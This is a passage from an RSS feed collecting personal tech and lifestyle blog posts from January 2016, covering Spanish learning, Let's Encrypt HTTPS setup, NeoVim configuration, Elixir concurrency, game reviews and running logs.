&lt;p&gt;So, I’ve heard it and have passing familiarity with it, though never owned the process of improvement until a few months ago. I also tend to feel tremendous guilt and embarrassment that I don’t speak it well. So that’s caused me to steer well clear of it. (Why face what’s uncomfortable, amiright?)&lt;/p&gt;

&lt;p&gt;Benny Lewis is my go-to inspiration for language learning. He argues that he has no special skill at language learning, but thanks to &lt;a href="http://www.fluentin3months.com/goldilocks/"&gt;wise studying&lt;/a&gt;, &lt;a href="http://www.fluentin3months.com/skype-language-exchange/"&gt;speaking the language&lt;/a&gt; as quickly as possible, being &lt;a href="http://www.fluentin3months.com/mistakes-matter/"&gt;fearless about making mistakes&lt;/a&gt;, and a bunch of other things, he’s picked up seven or eight languages quite well. He has written
&lt;a href="http://www.fluentin3months.com/author/benny/"&gt;so much&lt;/a&gt; about language learning.&lt;/p&gt;

&lt;p&gt;If he can do it for ten languages, surely I can muddle my way through to comfort in one language. And if I can do that once, I can do it again with another language. Right?&lt;/p&gt;

&lt;p&gt;So, for the last two weeks or so, I’ve been learning spanish &lt;a href="http://www.fluentin3months.com/shakira/"&gt;via Shakira&lt;/a&gt;, using
&lt;a href="http://www.fluentin3months.com/spaced-repetition/"&gt;Anki SRS&lt;/a&gt; to master vocabulary and rules once I understand them. (I don’t spend much total time in Anki every day, but I can snag a few minutes here and there, or as a break from other projects/work, and rack up quite a lot of time spent effectively memorizing)&lt;/p&gt;

&lt;h2 id="the-newest-addition-to-the-toolkit-conversation-connectors"&gt;The newest addition to the toolkit: Conversation connectors&lt;/h2&gt;

&lt;p&gt;Since I want to be able to speak the language, and not just have a collection of rules and vocab, I’ve been learning
conversational connectors. I was inspired to do this after reading &lt;a href="https://sites.google.com/site/fluentczech/conversationalintimacy"&gt;this post about a guy learning Czech&lt;/a&gt;, so I’ve added &lt;a href="http://www.memrise.com/course/396749/spanish-conversational-connectors/"&gt;this list of conversational connectors&lt;/a&gt; to my Spanish vocab.&lt;/p&gt;

&lt;p&gt;Already, I feel significantly more comfortable in Spanish. It’s going well.&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Mon, 25 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/learning-spanish-conversation-connectors</guid></item><item><title>Working Effectively With Legacy Code</title><link>https://june.kim/legacy-code/</link><author>june.kim</author><pubDate>Mon, 25 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/legacy-code/</guid></item><item><title>Major Linux Successes on the Desktop: 2016</title><link>https://justingarrison.com/blog/2016-01-25-major-linux-successes-on-the-desktop-2016/</link><description>After reading the Major Linux Problems on the Desktop article I thought</description><author>Justin Garrison's Homepage</author><pubDate>Mon, 25 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://justingarrison.com/blog/2016-01-25-major-linux-successes-on-the-desktop-2016/</guid></item><item><title>MensaBot - A Slack Bot For Lunch Information</title><link>https://blog.tafkas.net/2016/01/25/mensabot-a-slack-bot-for-lunch-information/</link><description>Everyday at work around noon the question of where to get lunch comes up. Normally, we choose between different restataurants in the vicinity of the office. One exception is the HU Mensa (university cafeteria). Despite being really cheap the food quality there varies a lot and it really depends on the daily menu whether a visit is worthwhile.
To tackle this issue I decided to spent another IT Open Space putting together a little script that will help us in the future.</description><author>Tafkas Blog</author><pubDate>Mon, 25 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.tafkas.net/2016/01/25/mensabot-a-slack-bot-for-lunch-information/</guid></item><item><title>Janathon 2016 #24</title><link>https://rjp.is/blogging/posts/janathon-2016-24-2/</link><description>A year ago, I did a short session of hill repeats (3 down, 4 up) on Greenwich Park hill and it was hard work.
By coincidence I ended up doing the same today and, oddly, almost exactly the same duration but this year I managed 6 down, 5 up on an empty stomach.
(If I can train my body to burn fat efficiently, I should be able to run non-stop for, oh, about 8000 miles.</description><author>infrequent oscillations</author><pubDate>Mon, 25 Jan 2016 01:25:40 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/janathon-2016-24-2/</guid></item><item><title>Visualizing Concurrency in Go</title><link>https://divan.dev/posts/go_concurrency_visualize/</link><description>&lt;p&gt;&lt;em&gt;If you prefer video over blog posts, here is my talk on this at GopherCon 2016:&lt;/em&gt;
&lt;a href="https://www.youtube.com/watch?v=KyuFeiG3Y60"&gt;https://www.youtube.com/watch?v=KyuFeiG3Y60&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;One of the strongest sides of Go programming language is a built-in concurrency based on &lt;a href="https://en.wikipedia.org/wiki/Communicating_sequential_processes"&gt;Tony Hoare&amp;rsquo;s CSP&lt;/a&gt; paper. Go is designed with concurrency in mind and allows us to build complex concurrent pipelines. But have you ever wondered - how various concurrency patterns look like?&lt;/p&gt;
&lt;p&gt;Of course, you have. We&amp;rsquo;re all thinking mostly by visualization in one form or another. If I ask you something involving &amp;ldquo;numbers from 1 to 100&amp;rdquo; you will have your own image of the series in your head, even without realizing it. For example, I imagine it as a line going from me with numbers from 1 to 20, then it turns 90 degrees to the right and continues to the 1000+. I recall from very young period of my life that in our kindergarten there were numbers in a cloakroom, written along the wall, and number 20 was exactly at the corner. You probably have your own image of numbers. Another common example is the visual representation of the full year with four seasons - some people see it as a box, other - as a circle.&lt;/p&gt;</description><author>divan's blog</author><pubDate>Sun, 24 Jan 2016 23:31:12 GMT</pubDate><guid isPermaLink="true">https://divan.dev/posts/go_concurrency_visualize/</guid></item><item><title>BrainHub and BrainRunner - finally over the hump</title><link>https://liza.io/brainhub-and-brainrunner-finally-over-the-hump/</link><description>&lt;p&gt;I&amp;rsquo;ve started this post maybe twenty times now, since before Christmas, and each time I keep putting it off, thinking &amp;ldquo;I&amp;rsquo;ll just blog when I have this next bit done.&amp;rdquo; But each &amp;ldquo;next bit&amp;rdquo; is followed by something else, and then something else, into infinity.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Sun, 24 Jan 2016 13:59:21 GMT</pubDate><guid isPermaLink="true">https://liza.io/brainhub-and-brainrunner-finally-over-the-hump/</guid></item><item><title>Moving Apps to the External SD Card on Android</title><link>https://blog.nawaz.org/posts/2016/Jan/moving-apps-to-the-external-sd-card-on-android/</link><description>&lt;p&gt;Some months ago I bought a new Android phone. The internal storage was
only 16 &lt;span class="caps"&gt;GB&lt;/span&gt;, so I put in an external &lt;span class="caps"&gt;SD&lt;/span&gt; card of 32 &lt;span class="caps"&gt;GB&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;As I started installing apps, I began to move the larger ones to the &lt;span class="caps"&gt;SD&lt;/span&gt;
card using the Android Apps&amp;nbsp;menu.&lt;/p&gt;
&lt;p&gt;And I …&lt;/p&gt;</description><author>Beetle Space</author><pubDate>Sun, 24 Jan 2016 10:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.nawaz.org/posts/2016/Jan/moving-apps-to-the-external-sd-card-on-android/</guid></item><item><title>Sweden travel bookmarks</title><link>https://xenodium.com/sweden-travel-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.theworlds50best.com/list/1-50-winners/Faviken"&gt;Fäviken restaurant (world's most isolated restaurant)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://theculturetrip.com/europe/sweden/articles/the-most-hipster-hangouts-in-stockholm"&gt;Hangouts in Stockholm&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Vasa Museum.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sun, 24 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/sweden-travel-bookmarks</guid></item><item><title>Config Management Sucks Recording</title><link>https://justingarrison.com/blog/2016-01-24-config-management-sucks-recording/</link><description>Here’s my talk from the Southern California Linux Expo 14 (SCALE14x) this weekend.</description><author>Justin Garrison's Homepage</author><pubDate>Sun, 24 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://justingarrison.com/blog/2016-01-24-config-management-sucks-recording/</guid></item><item><title>Nexus Player vs. Roku 4 vs. Apple TV 4</title><link>https://justingarrison.com/blog/2016-01-24-nexus-player-vs-roku-4-vs-apple-tv-4/</link><description>This article is in reply to a post on Lifehacker</description><author>Justin Garrison's Homepage</author><pubDate>Sun, 24 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://justingarrison.com/blog/2016-01-24-nexus-player-vs-roku-4-vs-apple-tv-4/</guid></item><item><title>Janathon 2016 #23</title><link>https://rjp.is/blogging/posts/janathon-2016-23-2/</link><description>Another rest-ish day with a small jaunt down the road in the Feelmax Kuuva 3 before picking up coffee and salad for tea.
THE EXCITEMENT IS NON-STOP. NON. STOP.
[5km to coffee]</description><author>infrequent oscillations</author><pubDate>Sat, 23 Jan 2016 21:33:28 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/janathon-2016-23-2/</guid></item><item><title>Adding HTTPS support to this site</title><link>https://cmetcalfe.ca/blog/adding-https-support.html</link><description>&lt;p&gt;Yesterday I finally ticked something off my todo list that'd been on there for a while - I added
proper HTTPS support to this site, powered by &lt;a href="https://letsencrypt.org/"&gt;Let's Encrypt&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The Qualys SSL Labs &lt;a href="https://www.ssllabs.com/ssltest/index.html"&gt;SSL Server Test&lt;/a&gt; now gives this site &lt;a href="https://www.ssllabs.com/ssltest/analyze.html?d=cmetcalfe.ca"&gt;an A+ rating&lt;/a&gt;. You can see all the
certs (past and present) for it on &lt;a href="https://crt.sh/?q=cmetcalfe.ca"&gt;crt.sh&lt;/a&gt;, an online certificate search tool.&lt;/p&gt;
&lt;h3&gt;For those interested in how things work:&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://letsencrypt.org/"&gt;Let's Encrypt&lt;/a&gt; is a "free, automated, and open" certificate authority. They provide certificates
via an &lt;a href="https://letsencrypt.org/howitworks/technology/"&gt;automatable process&lt;/a&gt; that are valid for &lt;a href="https://letsencrypt.org/2015/11/09/why-90-days.html"&gt;90 days&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Exactly how I got it all working can be seen in my &lt;a href="https://github.com/pR0Ps/website"&gt;website repo&lt;/a&gt;, where this entire site and it's
deployment scripts are kept, but here's the gist of it:&lt;/p&gt;
&lt;p&gt;I decided to use &lt;a href="https://github.com/lukas2511/dehydrated"&gt;&lt;code&gt;dehydrated&lt;/code&gt;&lt;/a&gt; instead of the &lt;a href="https://github.com/letsencrypt/letsencrypt"&gt;official Let's Encrypt client&lt;/a&gt; to
generate the certificates. &lt;code&gt;dehydrated&lt;/code&gt; is ~1000 lines of &lt;code&gt;bash&lt;/code&gt; and only requires things like
&lt;code&gt;openssl&lt;/code&gt;, &lt;code&gt;curl&lt;/code&gt;, and a few other programs that any UNIX system should already have. It takes a
config file and a list of domains. Once those are in place running it from &lt;code&gt;cron&lt;/code&gt; is easy.&lt;/p&gt;
&lt;p&gt;The &lt;a href="https://github.com/letsencrypt/acme-spec"&gt;ACME protocol&lt;/a&gt; that Let's Encrypt uses to verify domain ownership requires the web server to
respond to certain requests. This check makes sure that only someone with control over the domain
can generate a cert for it. To allow those requests to return the files generated by &lt;code&gt;dehydrated&lt;/code&gt;,
a &lt;a href="https://github.com/pR0Ps/website/blob/8b3f9509e5f97522ac01789ca562409a7475cc60/web_config/https/letsencrypt.conf"&gt;location rule in the Nginx config&lt;/a&gt; was added.&lt;/p&gt;
&lt;p&gt;Initially there were problems with the first time generating certs. Since the certs didn't exist
yet, Nginx was failing to start (and therefore causing the domain validation to fail). The solution
was to make two sets of configs. An HTTP set, and an HTTPS set. During the renewal process, the HTTPS
configs are tried, and if running Nginx fails, it falls back to the HTTP set. Switching between HTTP
and HTTPS configs is done by modifying a symlink.&lt;/p&gt;
&lt;p&gt;When all set up, this makes both generating a cert for the first time and renewing a cert as easy as
deploying the site. For continual, automated renewals, a monthly &lt;code&gt;cron&lt;/code&gt; job was added. With the
expiry of certs being 90 days, this should be frequent enough that the certs should never expire.&lt;/p&gt;</description><author>Carey Metcalfe</author><pubDate>Sat, 23 Jan 2016 17:00:00 GMT</pubDate><guid isPermaLink="true">https://cmetcalfe.ca/blog/adding-https-support.html</guid></item><item><title>The Big Short</title><link>https://olshansky.info/movie/the_big_short/</link><description>Olshansky's review of The Big Short</description><author>🦉 olshansky 🦁</author><pubDate>Sat, 23 Jan 2016 05:54:41 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/the_big_short/</guid></item><item><title>Goosebumps</title><link>https://olshansky.info/movie/goosebumps/</link><description>Olshansky's review of Goosebumps</description><author>🦉 olshansky 🦁</author><pubDate>Sat, 23 Jan 2016 05:43:16 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/goosebumps/</guid></item><item><title>2015: The year I didn't think much?</title><link>https://josh.works/2015_the_year_i_didnt_think_much</link><description>&lt;p&gt;I generally think that if I write what I am thinking about, I can think about it a lot better. Writing has a clarifying effect (or is it affect?) on thought. &lt;/p&gt;

&lt;p&gt;If that’s the case, I just didn’t think much in 2015:&lt;/p&gt;

&lt;p&gt;&lt;img alt="I wrote about 45 things in 2013 and 2014. I wrote 8 in 2015." src="/squarespace_images/static_556694eee4b0f4ca9cd56729_56035dbbe4b07ebf58d79d16_56a3bbd4e0327c99cb1cd1cd_1453571035621_things_josh_wrote_2013_2015.pngthings_josh_wrote_2013_2015_" /&gt; I wrote about 45 things in 2013 and 2014. I wrote 8 in 2015.&lt;/p&gt;

&lt;p&gt;I’m not sure why I wrote so much less in 2015. Much of what was on my mind I was reluctant to publish, because most of my extra brain power revolved around travel. Kristi and I have been traveling full-time for the last six months, and I didn’t feel like I wanted to be a travel blogger, or run around tooting my own horn. (Prior to beginning full-time travel, we were thinking and planning a lot.)&lt;/p&gt;

&lt;p&gt;So, 2015 was a wash for writing, but we did a ton of cool stuff, so I’m quite content with it.&lt;/p&gt;

&lt;p&gt;Now, even though I’m still traveling (hello from Costa Rica) I’ve got extra “brain cycles” to spend thinking about stuff again. I’m hoping that writing begets more writing, as I’ve started working on another project (
&lt;a href="http://climbersguide.co/"&gt;The Climber’s Guide&lt;/a&gt;) and picking up occasional freelance writing projects. &lt;/p&gt;

&lt;p&gt;I’m also dialing back whatever imaginary standards I had in my head about what I should and should not write. It doesn’t matter. This is my corner of the website, I can put whatever I want on it. My theme is still
deliver value via my words, but that doesn’t limit me exclusively to guides about how to do stuff. &lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Sat, 23 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/2015_the_year_i_didnt_think_much</guid></item><item><title>Toren</title><link>https://bastibe.de/2016-01-23-toren.html</link><description>&lt;p&gt;I've been playing a lot of indie games lately. One of them has not been talked about much: &lt;a href="http://toren-game.com/"&gt;Toren&lt;/a&gt;. Toren is a platformer about a girl that has to climb a tower to defeat a dragon and revive her world. This is probably the least polished game I have played in a long time. Animations are janky, controls are imprecise and clunky, and there are loads of little glitches. Yet, I really enjoyed this.&lt;/p&gt;
&lt;p&gt;There is something about this world that feels honest to me: As you climb the tower, the child grows from a toddler to an adolescent, and is gradually introduced to more and more mature concepts. I didn't understand much of the iconography of this game, but it felt oddly cathartic to climb this tower of life, and overcome it's challenges.&lt;/p&gt;
&lt;p&gt;I particularly liked how death played such an integral role in this story and some of the puzzles. The tower is a monument to a dead people, and yet the story and game mechanics are as much about dying as they are about rebirth and not giving up. This is underlined by the wonderful art style of this game, which contrasts vivid colors with brooding, dark architecture.&lt;/p&gt;
&lt;p&gt;At just about two hours, Toren is not a long game. Instead of exploring one particular game mechanic, it mixes it's game up every few minutes. Every sequence looks different and beautiful, and yet it manages to tell a cohesive and effective story. ★★★★☆&lt;/p&gt;</description><author>bastibe.de</author><pubDate>Sat, 23 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://bastibe.de/2016-01-23-toren.html</guid></item><item><title>Being A Human Being by Tom Leonard</title><link>https://ho.dges.online/words/commonplace/being-a-human-being-by-tom-leonard/</link><description>&lt;p&gt;not to be complicit&lt;br /&gt;
not to accept everyone else is silent it must be alright&lt;/p&gt;
&lt;p&gt;not to keep one’s mouth shut to hold onto one’s job&lt;br /&gt;
not to accept public language as cover and decoy&lt;/p&gt;
&lt;p&gt;not to put friends and family before the rest of the world&lt;br /&gt;
not to say I am wrong when you know the government is wrong&lt;/p&gt;
&lt;p&gt;not to be just a bought behaviour pattern&lt;br /&gt;
to accept the moment and fact of choice&lt;/p&gt;</description><author>ho.dges.online</author><pubDate>Sat, 23 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/words/commonplace/being-a-human-being-by-tom-leonard/</guid></item><item><title>Janathon 2016 #22</title><link>https://rjp.is/blogging/posts/janathon-2016-22-2/</link><description>Another brisk 10km but with a twist - this time I recorded the entire binaural soundscape using the PCM-M10 and the CS-10EM.
Here&amp;rsquo;s a snippet from Narrow Street - obviously you need stereo headphones to get the full effect.
Managed the 10km marker in 1:50:45 which isn&amp;rsquo;t bad but then forgot to stop the watch when I got to Charing Cross (because I&amp;rsquo;d lost one of the windshields for the CS-10EMs and was flustered - turned out to be attached to one of my gloves somehow!</description><author>infrequent oscillations</author><pubDate>Sat, 23 Jan 2016 00:54:46 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/janathon-2016-22-2/</guid></item><item><title>The 100: Season 3</title><link>https://olshansky.info/tv/the_100_season_3/</link><description>Olshansky's review of The 100: Season 3</description><author>🦉 olshansky 🦁</author><pubDate>Fri, 22 Jan 2016 17:32:26 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/the_100_season_3/</guid></item><item><title>Hello (Neo)Vim, good to see you again!</title><link>https://david.coffee/hello-neovim-good-to-see-you-again/</link><description>&lt;p&gt;It’s weird that I am writing about editors so much but trying a new editor every few months kind of
became a tradition. It spices things up and allows me to learn something new that I maybe didn’t know yet before. Or just discover a new tool that improves my workflow.&lt;/p&gt;
&lt;p&gt;When I wrote about spacemacs, I thought spacemacs would be the thing that I would use for everything. Then I ported it to atom with &lt;a href="https://github.com/dvcrn/proton"&gt;proton&lt;/a&gt; and thought that would be the tool I would be using for everything since I could just implement features on the spot that it didn’t have yet. So what happened that I am writing about editors again?&lt;/p&gt;
&lt;p&gt;As a VIM fan, I like micro optimizations. One thing in my workflow that I couldn’t stand was hammering &lt;code&gt;j&lt;/code&gt; &lt;code&gt;j&lt;/code&gt; &lt;code&gt;j&lt;/code&gt; &lt;code&gt;j&lt;/code&gt; to go down instead of &lt;code&gt;4j&lt;/code&gt;. I knew this keybinding was a lot faster, I just couldn’t get to teach myself to actually use it. After a bit of research I couldn’t find anything that helps me inside atom or emacs - but I found &lt;a href="https://github.com/wikitopian/hardmode"&gt;hardmode for vim&lt;/a&gt;. It was a bit overkill since it disables all &lt;code&gt;hjkl&lt;/code&gt; keys but a good start. Then I found &lt;a href="https://github.com/takac/vim-hardtime"&gt;hardtime&lt;/a&gt; and it was like my prayers have been answered 🙏. It allows me to use &lt;code&gt;hjkl&lt;/code&gt; exactly x times - and I can specify how much x is! Only problem - I need to use raw VIM.&lt;/p&gt;
&lt;h2 id="hello-neovim-again"&gt;Hello NeoVim (again)&lt;/h2&gt;
&lt;p&gt;Instead of vim though I grabbed NeoVim as my weapon of choice. Stuffed in my old config file just… to realize that things are not working the way I want them to. Plugins were outdated, keybindings were ‘meh’ and my &lt;a href="https://github.com/dvcrn/dotfiles/blob/master/vim/.vimrc"&gt;old vimrc&lt;/a&gt; a complete mess. How were I ever able to work with this??&lt;/p&gt;
&lt;p&gt;It had to go and something new had to be in it’s place, so I opened up a new vim pane and started hacking on my new vimrc with the goal that everything I use should be heavily optimized, consistent and use NeoVims async features if possible. No more &lt;a href="https://github.com/scrooloose/syntastic"&gt;syntastic&lt;/a&gt; lags on linting - &lt;a href="https://github.com/benekastah/neomake"&gt;neomake&lt;/a&gt; runs completely async!&lt;/p&gt;
&lt;p&gt;I replaced vundle with the async &lt;a href="https://github.com/junegunn/vim-plug"&gt;vim-plug&lt;/a&gt; and re-added crucial packages that I needed - but something was still missing. I can’t just assign random leader keybindings after having such a blast with the spacemacs mnemonic. After changing the leader to &lt;code&gt;&amp;lt;SPC&amp;gt;&lt;/code&gt; and re-arranging the keybindings a bit I was quite surprised to see what I ended up doing - &lt;a href="https://github.com/dvcrn/dotfiles/blob/master/vim/nvim/keybindings.vim#L70-L112"&gt;re-creating mnemonic keybindings in vim&lt;/a&gt;! I also went the extra steps and moved everything related into a package of some sorts. A bit of sourcing here and there and suddenly &lt;a href="https://github.com/dvcrn/dotfiles/blob/master/vim/nvim/.nvimrc#L79-L104"&gt;I had “layers”&lt;/a&gt;! Just like in proton or spacemacs!&lt;/p&gt;
&lt;h2 id="quality-plugins-ahead"&gt;Quality plugins ahead&lt;/h2&gt;
&lt;p&gt;What eventually got me really into vim were probably the amazing plugins of &lt;a href="https://github.com/junegunn/"&gt;junegunn&lt;/a&gt;, the guy that wrote vim-plug. I am absolutely impressed about the quality of these and didn’t have this much fun with vim for a long time. Stuff like &lt;a href="https://github.com/junegunn/fzf"&gt;fzf&lt;/a&gt; makes almost every command feel consistent.&lt;/p&gt;
&lt;p&gt;He even wrote a color scheme using the official colors of probably my favorite city on the planet - &lt;a href="https://github.com/junegunn/seoul256.vim"&gt;Seoul&lt;/a&gt;. Just look how pretty it is:&lt;/p&gt;
&lt;p&gt;
&lt;img alt="screenshot" class="img-fluid" src="./neovim-1.png" /&gt;

&lt;/p&gt;
&lt;p&gt;In all seriousness, his plugin collection is amazing and I can highly recommend you to check it out if you are using vim. He might be the next tpope!&lt;/p&gt;
&lt;h2 id="tldr"&gt;tl;dr&lt;/h2&gt;
&lt;p&gt;hardtime for vim made me go back into vim territory and NeoVim made me stay.&lt;/p&gt;
&lt;p&gt;If you are a gvim guy like me, check out &lt;a href="https://github.com/equalsraf/neovim-qt"&gt;neovim-qt&lt;/a&gt;. It is a lot faster performance wise and more stable than &lt;a href="https://github.com/rogual/neovim-dot-app"&gt;Neovim.app&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Also my &lt;a href="https://github.com/dvcrn/dotfiles/tree/master/vim/nvim"&gt;nvim dotfiles&lt;/a&gt; are a great starting point to get into vim. Everything is written very decoupled so you could just use whatever modules / packages you want and not source the rest.&lt;/p&gt;
&lt;p&gt;Do I now use vim for everyting? Nah, probably not. proton is still my main weapon. These days I&amp;rsquo;m on a VIM streak with the goal to master the more advanced text navigation commands but most of time time proton (if the atom-shell wouldn&amp;rsquo;t suck so much battery&amp;hellip;.).&lt;/p&gt;
&lt;p&gt;Let me know your thoughts &lt;a href="https://twitter.com/davicorn"&gt;on twitter&lt;/a&gt;.&lt;/p&gt;</description><author>David Mohl</author><pubDate>Fri, 22 Jan 2016 12:30:23 GMT</pubDate><guid isPermaLink="true">https://david.coffee/hello-neovim-good-to-see-you-again/</guid></item><item><title>Sweet, sweet Elixir - the language of my dreams?</title><link>https://david.coffee/sweet-sweet-elixir-the-language-of-my-dreams/</link><description>&lt;p&gt;I like learning new languages, I think that’s no secret. It’s a fun task that teaches you new interesting takes on existing problems. A language can make your programmers life very easy but could also turn it into a living hell. In fact, I am always on the hunt to find the &lt;em&gt;perfect&lt;/em&gt; language for me. That thing that I &lt;strong&gt;want&lt;/strong&gt; to use for everything.&lt;/p&gt;
&lt;h3 id="meet-clojurescript"&gt;Meet ClojureScript&lt;/h3&gt;
&lt;p&gt;Lately I’ve been doing a lot of clojure. I am glad that I finally arrived at a point where I don’t have to look into the documentation just to find out how to append something to a vector. Clojure is &lt;strong&gt;extremely well&lt;/strong&gt; designed. I learned a lot just by listening to talks (especially the rich hickey ones!) and reading about the languages&amp;rsquo; core concepts and the reasons behind them. But above all, Clojure is just fun to use and ClojureScript is even more fun! I love using it and even wrote a &lt;a href="https://github.com/dvcrn/markright"&gt;MarkDown editor&lt;/a&gt; in it. Lately clojurescript ended up becoming the magic that fueles my &lt;a href="https://github.com/dvcrn/proton"&gt;entire main editor&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;What’s amazing about ClojureScript is that it can literally go everywhere javascript can go and man can javascript go to places these days. I even started to build freaking &lt;a href="https://dvcrn.github.io/clojurescript/react/2015/11/19/my-cljs-talk.html"&gt;native apps&lt;/a&gt; with it! Imagine I would tell that to someone a few years back:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;A: Oh that app looks cool. How did you build it?
B: Ah I’m using clojurescript to control the native view properties.
A: cloj… what?
B: Yeah, it cross compiles to javascript.
A: Javascript? native?
B: Javascript is then using react native to bridge into ObjC
A: 😮
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I like clojurescript to that degree that I start to feel bothered if someone asks me to write raw javascript these days. I like it that much.&lt;/p&gt;
&lt;h3 id="clojure"&gt;Clojure&lt;/h3&gt;
&lt;p&gt;The only thing I am not 100% happy with right now is… well… clojure! I tried a few times to use it on the serverside but it just never felt completely right to me. I ended up searching all these little building blocks like migrations, database connections, router and templating, and proceeded to stack them together… somehow.&lt;/p&gt;
&lt;p&gt;Then there was the big problem of libraries getting abandoned. Here’s a example: When I wrote my first server it took me ages to find &lt;a href="https://github.com/budu/lobos"&gt;lobos&lt;/a&gt; - the migration library everyone told me to use. Shortly after, it turned inactive and communication around it died. Suddenly noone wanted to use lobos. A few questions here and there and people told me to &lt;em&gt;just&lt;/em&gt; write SQL files and pipe them with clojure into the db.&lt;/p&gt;
&lt;p&gt;Clojure people feel to me like these people that like to build stuff raw and by themselves. To have full control over every aspect and if a building block doesn&amp;rsquo;t exist yet - it will just get written on the spot.
My server eventually worked and that is what counts, right? But I wasn’t happy maintaining it. All these lego bricks felt glued together in a not stable way.&lt;/p&gt;
&lt;p&gt;So I kept going on my way, sometimes using clojure, but most of the times django for my server stuff. I kept adding things to my &lt;em&gt;you-should-check-that-out-list&lt;/em&gt; including Go, Rust, and a few frameworks here and there, just waiting for me to have some more free time.&lt;/p&gt;
&lt;p&gt;A few days ago I wanted to start a new side project - an app to be specific. My fingers were itching to do a real world app in clojurescript but needed something for the server. I started mocking things up with django but then took a short look at my list. On first place was something called &lt;em&gt;elixir&lt;/em&gt;. “Elixir, huh?”, I thought and opened the website&lt;/p&gt;
&lt;h3 id="hello-elixir"&gt;Hello Elixir&lt;/h3&gt;
&lt;p&gt;When I first checked out Elixir I didn’t think of much. Looks like ruby and feels like ruby with a bit of clojure sugar sprinkled in. The &lt;code&gt;|&amp;gt;&lt;/code&gt; operator is obviously taken straight out it. Atoms are no longer state containers but now what I would call… a keyword? In any way, being a functional language inspired by clojure and coming directly &lt;em&gt;from&lt;/em&gt; clojure I felt home right away.&lt;/p&gt;
&lt;p&gt;I downloaded &lt;a href="http://www.phoenixframework.org"&gt;phoenix&lt;/a&gt;, figured out &lt;a href="https://github.com/elixir-lang/ecto"&gt;ecto&lt;/a&gt;, hacked my API server together and went on with my app. That was until I had to implement a image upload and resize service to s3.&lt;/p&gt;
&lt;p&gt;My django instinct told me to find the &lt;a href="http://celeryproject.org"&gt;celery&lt;/a&gt; of the elixir world but what came next completely changed my way I looked at the language.&lt;/p&gt;
&lt;p&gt;You see - I didn’t read the entire documentation on elixir-lang (which I should have done). I wanted to get a feel for the language first before going into all the little details. When I asked on the elixir slack for the idiomatic way of implementing a worker I got pointed to the &lt;a href="http://elixir-lang.org/getting-started/processes.html"&gt;processes&lt;/a&gt;, &lt;a href="http://elixir-lang.org/getting-started/mix-otp/agent.html"&gt;agents&lt;/a&gt; and &lt;a href="http://elixir-lang.org/getting-started/mix-otp/genserver.html"&gt;genserver&lt;/a&gt; guides.&lt;/p&gt;
&lt;p&gt;I knew that elixir is running inside the erlang VM but I never used erlang before and all I knew about it was from hearing about it.&lt;/p&gt;
&lt;h3 id="mind--"&gt;Mind = 💥&lt;/h3&gt;
&lt;p&gt;To summarise it very short: The concurrency handling of elixir is just effing amazing. Without any troubles and at any time you can spin up subprocesses, pass stuff to them, link them together and build your little network.&lt;/p&gt;
&lt;p&gt;Processes are completely isolated and very well managed. I never had the feeling that using processes will now lock me into a big headache network of synchronisation, orchestration and possible chaos. And even if something goes wrong - elixir and erlang actually &lt;em&gt;encourage&lt;/em&gt; you to let things fail! No try/catch blocks and exception handling. You just let the process fail and the supervisor will take care of troubleshooting and restart that thing - just like that!&lt;/p&gt;
&lt;p&gt;Here’s an example that really shows how powerful this is: State management! The recommended way of storing state in elixir is… a process! You have a process that holds your piece of state and reacts to defined messages passed to it: e.g. &lt;em&gt;store&lt;/em&gt; and &lt;em&gt;retrieve&lt;/em&gt;. I mean… what?!&lt;/p&gt;
&lt;p&gt;If you now connect another node to your mesh network, that node could immediately send messages to the same state management process if it knows it’s identifier (e.g. &lt;code&gt;:kwstore1&lt;/code&gt;). Just like that you suddenly have state management - but synchronised on multiple machines… I mean… what?!?!&lt;/p&gt;
&lt;h3 id="the-joy-of-concurrency-and-even-more---"&gt;The joy of concurrency and even more 😮 = 💥&lt;/h3&gt;
&lt;p&gt;Elixir doesn’t care if you have 1 node or a thousand. It directly works with all of them right away.&lt;/p&gt;
&lt;p&gt;Let’s go back to my image upload and resize example: In django I would take the image, push it to s3, push a message into amqp / redis, tell the user “success” and let a worker process the resizing before marking the image as “processed” in a db. 3 components: Web server, queue server, worker.&lt;/p&gt;
&lt;p&gt;Now elixir. I take the image, put it on the disk and push the original to s3. I tell the user “success” but at the &lt;em&gt;same time&lt;/em&gt; spin up a child process with the reference to image on the disk. The user gets his “success” but the child process lives on! It does it’s resizing stuff, uploads to s3, updates the db and if something goes wrong like a timeout from s3, then so what? It just crashes, the supervisor restarts the process and it tries again. All while the user is already gone! Without a queue! Without a worker! Out of the box!&lt;/p&gt;
